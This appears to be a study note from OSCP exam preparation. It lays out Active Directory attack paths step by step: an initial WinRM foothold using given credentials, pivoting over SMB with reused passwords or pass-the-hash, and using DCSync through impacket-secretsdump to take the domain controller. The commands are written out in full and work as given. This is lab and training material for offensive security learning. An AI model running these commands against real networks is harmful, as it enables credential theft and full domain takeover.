AD — Initial Foothold Vectors

All AD exam instances used an assumed breach scenario. The initial foothold on External was provided via the exam brief rather than discovered.

1. Assumed Breach — Given Credentials → WinRM (External)

Seen in: Exam B (External), Exam C (External)
OS: Windows (domain-joined workstation, oscp.exam domain)
Ports: 5985 (WinRM)

Discovery Steps

1. Exam brief provides domain credentials for a low-privilege domain user (e.g., r.andrews:BusyOfficeWorker890) and the External IP

Exploitation Steps

2. evil-winrm -i $IP -u 'r.andrews' -p 'BusyOfficeWorker890' → interactive PowerShell session on External
3. whoami /priv → identify which token privilege is present (SeDebugPrivilege or SeBackupPrivilege depending on exam instance)
4. Proceed with privilege escalation — see AD/PrivEsc Vectors

Notes

• No enumeration required to gain initial access — credentials are given
• The key recon step is immediately enumerating privileges and local files on External
• Both SeDebugPrivilege and SeBackupPrivilege were seen across different instances; always check whoami /priv first

2. Credential Pivot from External → SMB Access to Internal

Seen in: Exam C (Internal)
OS: Windows Server (domain member)
Ports: 445 (SMB)

Discovery Steps

1. After dumping credentials from External (via LSASS or SAM/SYSTEM hive), identify plaintext passwords or NTLM hashes for accounts valid on Internal

Exploitation Steps

2. nxc smb $INTERNAL_IP -u $USER -p $PASS or pass-the-hash: nxc smb $INTERNAL_IP -u $USER -H $HASH → confirm valid auth on Internal
3. nxc smb $INTERNAL_IP -u $USER -p $PASS --shares → enumerate shares; look for non-standard shares containing backup files
4. smbclient //$INTERNAL_IP/$SHARE -U $USER%$PASS → browse and download backup files (SAM/SYSTEM hives or NTDS artifacts)
5. Proceed with PrivEsc to dump further credentials — see AD/PrivEsc Vectors

Notes

• Credentials reused between External and Internal — the pivot relies entirely on password/hash reuse
• Backup files on SMB shares was the consistent finding on Internal

3. High-Privilege Account → Domain Controller (DC)

Seen in: Exam C (DC)
OS: Windows Server (Domain Controller)

Discovery Steps

1. After extracting credentials from Internal's backup files, identify an account with excessive AD permissions (DCSync rights, Domain Admins membership, or WriteDACL on the domain object)

Exploitation Steps

2. DCSync: impacket-secretsdump -just-dc-ntlm oscp.exam/$USER:$PASS@$DC_IP → dumps all domain NTLM hashes including Administrator
3. Pass-the-hash to DC: evil-winrm -i $DC_IP -u Administrator -H $HASH → Domain Admin shell
4. Retrieve proof.txt from C:\Users\Administrator\Desktop\

Notes

• DCSync does not require interactive access to the DC — runs remotely from Kali once a sufficiently privileged account is obtained
• The privileged account was discovered through secretsdump output from Internal's backup files
• Excessive AD permissions was the recurring misconfiguration; verify with BloodHound or manual ACL review if time permits

See Also

• AD/PrivEsc Vectors
• AD/Tools Used
• AD/Summary
• Standalones/Initial Foothold Vectors